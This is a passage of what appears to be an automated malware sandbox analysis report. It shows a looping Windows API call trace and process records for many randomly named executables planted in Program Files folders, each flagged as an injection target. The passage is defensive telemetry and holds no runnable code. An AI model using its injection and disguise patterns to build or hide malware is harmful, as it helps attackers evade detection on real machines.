lpMsg=0x9ce980) returned 0 [0298.466] Sleep (dwMilliseconds=0x1) [0298.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0298.481] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0298.981] CloseHandle (hObject=0x224) returned 1 [0298.981] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0298.981] Sleep (dwMilliseconds=0x1) [0298.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0298.997] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0299.513] CloseHandle (hObject=0x224) returned 1 [0299.514] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0299.514] Sleep (dwMilliseconds=0x1) [0299.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0299.528] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0300.047] CloseHandle (hObject=0x224) returned 1 [0300.047] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0300.048] Sleep (dwMilliseconds=0x1) [0300.060] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0300.060] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0300.575] CloseHandle (hObject=0x224) returned 1 [0300.575] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0300.575] Sleep (dwMilliseconds=0x1) [0300.602] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0300.602] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0301.092] CloseHandle (hObject=0x224) returned 1 [0301.092] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0301.092] Sleep (dwMilliseconds=0x1) [0301.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0301.106] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0301.620] CloseHandle (hObject=0x224) returned 1 [0301.620] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0301.620] Sleep (dwMilliseconds=0x1) [0301.623] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0301.623] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0302.138] CloseHandle (hObject=0x224) returned 1 [0302.138] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0302.138] Sleep (dwMilliseconds=0x1) [0302.153] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0302.153] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0302.653] CloseHandle (hObject=0x224) returned 1 [0302.653] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0302.655] Sleep (dwMilliseconds=0x1) [0302.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0302.669] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0303.169] CloseHandle (hObject=0x224) returned 1 [0303.169] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0303.169] Sleep (dwMilliseconds=0x1) [0303.186] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0303.186] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0303.700] CloseHandle (hObject=0x224) returned 1 [0303.700] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0303.700] Sleep (dwMilliseconds=0x1) [0303.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0303.716] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0304.231] CloseHandle (hObject=0x224) returned 1 [0304.231] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0304.231] Sleep (dwMilliseconds=0x1) [0304.253] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0304.253] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0304.758] CloseHandle (hObject=0x224) returned 1 [0304.758] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0304.758] Sleep (dwMilliseconds=0x1) [0304.773] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0304.773] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0305.273] CloseHandle (hObject=0x224) returned 1 [0305.273] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0305.274] Sleep (dwMilliseconds=0x1) [0305.289] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0305.289] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0306.606] CloseHandle (hObject=0x224) returned 1 [0306.606] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0306.606] Sleep (dwMilliseconds=0x1) [0306.625] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0306.625] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0307.112] CloseHandle (hObject=0x224) returned 1 [0307.112] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0307.112] Sleep (dwMilliseconds=0x1) [0307.128] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0307.128] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0307.643] CloseHandle (hObject=0x224) returned 1 [0307.643] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0307.643] Sleep (dwMilliseconds=0x1) [0307.659] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0307.659] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0308.159] CloseHandle (hObject=0x224) returned 1 [0308.159] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0308.159] Sleep (dwMilliseconds=0x1) [0308.174] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0308.174] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0308.690] CloseHandle (hObject=0x224) returned 1 [0308.690] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0308.690] Sleep (dwMilliseconds=0x1) [0308.705] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0308.706] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0309.234] CloseHandle (hObject=0x224) returned 1 [0309.234] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0309.234] Sleep (dwMilliseconds=0x1) [0309.236] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0309.237] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0309.764] CloseHandle (hObject=0x224) returned 1 [0309.764] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0309.764] Sleep (dwMilliseconds=0x1) [0309.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0309.778] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0312.138] CloseHandle (hObject=0x224) returned 1 [0312.138] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0312.138] Sleep (dwMilliseconds=0x1) [0312.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0312.170] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0314.165] CloseHandle (hObject=0x224) returned 1 [0314.165] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0314.165] Sleep (dwMilliseconds=0x1) [0314.168] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0314.168] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0314.692] CloseHandle (hObject=0x224) returned 1 [0314.692] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0314.692] Sleep (dwMilliseconds=0x1) [0314.693] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0314.693] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0315.206] CloseHandle (hObject=0x224) returned 1 [0315.206] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0315.206] Sleep (dwMilliseconds=0x1) [0315.211] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0315.211] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0315.712] CloseHandle (hObject=0x224) returned 1 [0315.712] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0315.712] Sleep (dwMilliseconds=0x1) [0315.727] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0315.727] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0316.232] CloseHandle (hObject=0x224) returned 1 [0316.232] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0316.232] Sleep (dwMilliseconds=0x1) [0316.248] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0316.248] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0316.927] CloseHandle (hObject=0x224) returned 1 [0316.927] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0316.927] Sleep (dwMilliseconds=0x1) [0317.008] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0317.008] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0317.514] CloseHandle (hObject=0x224) returned 1 [0317.514] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0317.514] Sleep (dwMilliseconds=0x1) [0317.529] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0317.529] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0318.029] CloseHandle (hObject=0x224) returned 1 [0318.029] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0318.029] Sleep (dwMilliseconds=0x1) [0318.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0318.045] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0318.560] CloseHandle (hObject=0x224) returned 1 [0318.560] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0318.560] Sleep (dwMilliseconds=0x1) [0318.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0318.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0319.076] CloseHandle (hObject=0x224) returned 1 [0319.076] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0319.076] Sleep (dwMilliseconds=0x1) [0319.092] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0319.092] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0319.607] CloseHandle (hObject=0x224) returned 1 [0319.607] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0319.607] Sleep (dwMilliseconds=0x1) [0319.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0319.637] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0320.138] CloseHandle (hObject=0x224) returned 1 [0320.138] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0320.138] Sleep (dwMilliseconds=0x1) [0320.154] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0320.154] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0320.655] CloseHandle (hObject=0x224) returned 1 [0320.655] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0320.655] Sleep (dwMilliseconds=0x1) [0320.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0320.670] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0321.169] CloseHandle (hObject=0x224) returned 1 [0321.170] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0321.170] Sleep (dwMilliseconds=0x1) [0321.185] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0321.185] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0321.714] CloseHandle (hObject=0x224) returned 1 [0321.714] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0321.714] Sleep (dwMilliseconds=0x1) [0321.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0321.716] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0322.302] CloseHandle (hObject=0x224) returned 1 [0322.302] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0322.302] Sleep (dwMilliseconds=0x1) [0322.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0322.310] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0322.810] CloseHandle (hObject=0x224) returned 1 [0322.810] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0322.810] Sleep (dwMilliseconds=0x1) [0322.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0322.826] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0323.341] CloseHandle (hObject=0x224) returned 1 [0323.341] PeekMessageW (in: lpMsg=0x9ce980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9ce980) returned 0 [0323.341] Sleep (dwMilliseconds=0x1) [0323.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xfc0) returned 0x224 [0323.357] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) Thread: id = 57 os_tid = 0x544 Process: id = "8" image_name = "bass_cosmetics_effectiveness.exe" filename = "c:\\program files (x86)\\windowspowershell\\bass_cosmetics_effectiveness.exe" page_root = "0x53cd6000" os_pid = "0x810" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files (x86)\\WindowsPowerShell\\bass_cosmetics_effectiveness.exe\" " cur_dir = "C:\\Program Files (x86)\\WindowsPowerShell\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 34 os_tid = 0x93c Process: id = "9" image_name = "nigeriareached.exe" filename = "c:\\program files\\windows portable devices\\nigeriareached.exe" page_root = "0xa6b5000" os_pid = "0xac8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files\\Windows Portable Devices\\nigeriareached.exe\" " cur_dir = "C:\\Program Files\\Windows Portable Devices\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 35 os_tid = 0xad0 Process: id = "10" image_name = "herbs.exe" filename = "c:\\program files (x86)\\mozilla firefox\\herbs.exe" page_root = "0xf21a000" os_pid = "0x8d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\herbs.exe\" " cur_dir = "C:\\Program Files (x86)\\Mozilla Firefox\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0x854 Process: id = "11" image_name = "optimize.exe" filename = "c:\\program files (x86)\\reference assemblies\\optimize.exe" page_root = "0xa1ed000" os_pid = "0x8a4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files (x86)\\Reference Assemblies\\optimize.exe\" " cur_dir = "C:\\Program Files (x86)\\Reference Assemblies\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 37 os_tid = 0x950 Process: id = "12" image_name = "bullet_save.exe" filename = "c:\\program files (x86)\\msbuild\\bullet_save.exe" page_root = "0x6d003000" os_pid = "0xbd0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files (x86)\\MSBuild\\bullet_save.exe\" " cur_dir = "C:\\Program Files (x86)\\MSBuild\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 38 os_tid = 0x390 Process: id = "13" image_name = "deathswound.exe" filename = "c:\\program files (x86)\\internet explorer\\deathswound.exe" page_root = "0x3c159000" os_pid = "0x708" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\deathswound.exe\" " cur_dir = "C:\\Program Files (x86)\\Internet Explorer\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 39 os_tid = 0x704 Process: id = "14" image_name = "expenditure-vincent-tablet.exe" filename = "c:\\program files\\microsoft office\\expenditure-vincent-tablet.exe" page_root = "0x3ec32000" os_pid = "0x8ec" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\expenditure-vincent-tablet.exe\" " cur_dir = "C:\\Program Files\\Microsoft Office\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 40 os_tid = 0x8e4 Process: id = "15" image_name = "asin.exe" filename = "c:\\program files (x86)\\windows multimedia platform\\asin.exe" page_root = "0x43f9d000" os_pid = "0x908" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\asin.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Multimedia Platform\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 41 os_tid = 0x15c Process: id = "16" image_name = "flickr debate gs.exe" filename = "c:\\program files (x86)\\windows photo viewer\\flickr debate gs.exe" page_root = "0xa0b4000" os_pid = "0x1fc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\flickr debate gs.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Photo Viewer\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 